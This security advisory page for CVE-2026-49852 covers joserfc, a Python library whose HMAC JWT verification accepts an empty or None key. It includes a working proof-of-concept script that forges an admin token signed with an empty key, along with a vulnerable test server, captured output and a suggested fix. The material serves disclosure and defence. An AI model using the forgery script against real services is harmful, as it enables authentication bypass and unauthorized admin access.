CVE-2026-49852: joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)

Published Jul 2, 2026
·
Updated

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/rfc7518/jwsalgs.py:62-70 feed whatever OctKey.getopkey(...) produced into hmac.new(...), and OctKey.importkey only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signinginput) because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensurevalidkey! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:

- OctKey.importkey(os.environ.get("JWTSECRET", "")) - A key finder callable that returns "" / None for an unknown kid - Default values like os.getenv("SECRET") or "", cfg.get("secret", "") - Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/rfc7518/jwsalgs.py:43-70:

python class HMACAlgorithm(JWSAlgModel): SHA256 = hashlib.sha256 SHA384 = hashlib.sha384 SHA512 = hashlib.sha512

def init(self, shatype, recommended=False): self.name = f"HS{shatype}" self.description = f"HMAC using SHA-{shatype}" self.recommended = recommended self.hashalg = getattr(self, f"SHA{shatype}") self.algorithmsecurity = shatype

def sign(self, msg: bytes, key: OctKey) -> bytes: opkey = key.getopkey("sign") return hmac.new(opkey, msg, self.hashalg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: opkey = key.getopkey("verify") vsig = hmac.new(opkey, msg, self.hashalg).digest() return hmac.comparedigest(sig, vsig)

src/joserfc/rfc7518/octkey.py:52-63:

python @classmethod def importkey(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).importkey(value, parameters, password) if len(key.rawvalue) < 14: # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key

The < 14 check only warns; len(key.rawvalue) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.comparedigest(sig, hmac.new(b"", signinginput, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

ruby def ensurevalidkey!(key) raiseverifyerror!('HMAC key expected to be a String') unless key.isa?(String) raiseverifyerror!('HMAC key cannot be empty') if key.empty? end

invoked from both sign(signingkey:) and verify(verificationkey:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.preparekey raises InvalidKeyError("HMAC key must not be empty.") for len(keybytes) == 0). firebase/php-jwt rejects empty material in Key.construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWTSECRET reaches hmac.new

1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"]) where key = OctKey.importkey("") (or OctKey.importkey(b""), or any custom path that yields an OctKey whose rawvalue is b""). 2. decode (src/joserfc/jwt.py:86-117) calls decodejws(...) → deserializecompact(value, key, algorithms, registry). 3. deserializecompact (src/joserfc/jws.py) dispatches to HMACAlgorithm.verify(signinginput, signature, key). 4. verify calls key.getopkey("verify") → returns b"". 5. hmac.new(b"", signinginput, sha256).digest() is computed; the attacker computed exactly that digest with the same empty key, so hmac.comparedigest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

python import base64, hmac, hashlib, json, time def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=") header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) now = int(time.time()) payload = b64url(json.dumps({ "sub": "attacker", "admin": True, "iat": now, "exp": now + 600, }).encode()) signinginput = header + b"." + payload sig = hmac.new(b"", signinginput, hashlib.sha256).digest() forged = signinginput + b"." + b64url(sig) print(forged.decode())

Server harness:

python server.py from joserfc import jwt from joserfc.jwk import OctKey import os from wsgiref.simpleserver import makeserver

def app(environ, startresponse): auth = environ.get("HTTPAUTHORIZATION", "") token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else "" key = OctKey.importkey(os.environ.get("JWTSECRET", "")) # default = "" try: tok = jwt.decode(token, key, algorithms=["HS256"]) c = tok.claims body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode() startresponse("200 OK", [("Content-Type", "text/plain")]) return [body] except Exception as e: startresponse("401 Unauthorized", [("Content-Type", "text/plain")]) return [("DENY: %s\n" % e).encode()]

makeserver("127.0.0.1", 8383, app).serveforever()

End-to-end reproduction (against pip install joserfc==1.6.7)

bash 1. Boot the WSGI server. JWTSECRET unset to model the misconfigured-secret state. python3.12 -m venv venv ./venv/bin/pip install joserfc==1.6.7 ./venv/bin/python server.py & # listens on :8383

2. Run the attacker ./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY HTTP 200 OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi... HTTP 401 DENY: BadSignatureError: badsignature:

Interpretation:

| Configuration | Observed | Expected | |------------------------------|-------------------------------------|----------| | JWTSECRET unset (== "") | HTTP 200, admin=True (verified) | HTTP 401 | | JWTSECRET = 256-bit value | HTTP 401, BadSignatureError | HTTP 401 |

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

- Complete authentication bypass on any service whose key finder resolves to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.importkey time and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.importkey to a hard reject at len(key.rawvalue) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.getopkey(...):

python src/joserfc/rfc7518/octkey.py @classmethod def importkey(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).importkey(value, parameters, password) if not key.rawvalue: raise ValueError("oct key material must not be empty") if len(key.rawvalue) < 14: warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key

src/joserfc/rfc7518/jwsalgs.py class HMACAlgorithm(JWSAlgModel): ... def sign(self, msg: bytes, key: OctKey) -> bytes: opkey = key.getopkey("sign") if not opkey: raise ValueError("HMAC key must not be empty") return hmac.new(opkey, msg, self.hashalg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: opkey = key.getopkey("verify") if not opkey: raise ValueError("HMAC key must not be empty") vsig = hmac.new(opkey, msg, self.hashalg).digest() return hmac.comparedigest(sig, vsig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in preparekey, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Other sources

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/rfc7518/jwsalgs.py pass the output of OctKey.getopkey(...) to hmac.new(...) and OctKey.importkey in src/joserfc/rfc7518/octkey.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.

MITRE

Affected Software

2 affected componentsFixes available
pip/joserfc<=1.6.7
1.6.8
IBM MQ Agent<=CD: v1.0.0, v1.0.1, v2.0.0, v2.0.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/joserfc to a version that resolves this vulnerability.

    Fixed in 1.6.8
  2. Upgrade

    Upgrade joserfc to a version that resolves this vulnerability.

    Fixed in 1.6.8Patch CVE-2026-45363
  3. Configuration

    Ensure the configured JWT HMAC secret used by joserfc is non-empty (the misconfiguration is `OctKey.import_key(os.environ.get("JWT_SECRET", ""))`), so HS256/HS384/HS512 verification cannot proceed with an empty/None HMAC key.

    Application using joserfc.jwt.decode JWT_SECRET = 256-bit minimum (non-empty)

Event History

Jul 2, 2026
Advisory Published
via GitHub·07:12 PM
Data Sourced
via GitHub·07:12 PM
DescriptionWeaknessAffected Software
Jul 17, 2026
CVE Published
via MITRE·07:14 PM
Data Sourced
via MITRE·07:14 PM
DescriptionWeakness
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Aug 27, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-49852?

CVE-2026-49852 has a risk score of 80, indicating a high severity vulnerability.

2

What software is affected by CVE-2026-49852?

CVE-2026-49852 affects the pip package known as joserfc.

3

How do I fix CVE-2026-49852?

To fix CVE-2026-49852, ensure that a valid non-empty verification key is used when calling `joserfc.jwt.decode`.

4

What type of vulnerability is identified in CVE-2026-49852?

CVE-2026-49852 is categorized as a Weak Encryption vulnerability.

5

What can happen if CVE-2026-49852 is exploited?

If exploited, CVE-2026-49852 can allow attackers to forge HMAC-signed tokens, compromising the integrity and authenticity of the tokens.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203